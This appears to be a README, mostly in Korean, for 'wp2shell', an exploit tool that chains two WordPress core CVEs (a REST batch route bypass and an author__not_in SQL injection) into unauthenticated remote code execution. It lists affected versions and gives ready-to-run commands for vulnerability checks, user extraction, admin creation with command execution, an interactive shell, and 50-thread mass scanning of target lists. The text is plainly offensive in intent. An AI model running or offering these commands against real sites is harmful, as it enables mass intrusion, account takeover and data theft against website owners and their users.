
wp2shell - 워드프레스 RCE 및 PoC (CVE-2026-63030 + CVE-2026-60137)
WordPress Core에서 인증되지 않은 원격 코드 실행
제작: JohenLastGen
이 도구는 두 가지 치명적인 WordPress 취약점을 연계하여 인증되지 않은 RCE를 달성합니다:
| 취약점 | CVE | 설명 |
|---|---|---|
| REST 배치 라우트 혼동 | CVE-2026-63030 | 검증 우회, SQLi 페이로드 밀반입 |
| WP_Query author__not_in SQLi | CVE-2026-60137 | 원시 문자열 삽입 → SQL 실행 |
영향: 인증되지 않은 공격자 → 관리자 생성 → 명령 실행
| 버전 범위 | 상태 |
|---|---|
| WordPress 6.9.0 - 6.9.4 | ✅ 취약 (전체 RCE 체인) |
| WordPress 7.0.0 - 7.0.1 | ✅ 취약 (전체 RCE 체인) |
#options:
-h, --help show this help message and exit
python3 wp2shell.py --help
# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com
# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users
# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"
# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive
# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json
| WordPress 6.8.0 - 6.8.5 | ⚠️ SQLi 전용 (보조 플러그인 필요) |
| WordPress 6.9.5, 7.0.2+ | ❌ 패치됨 |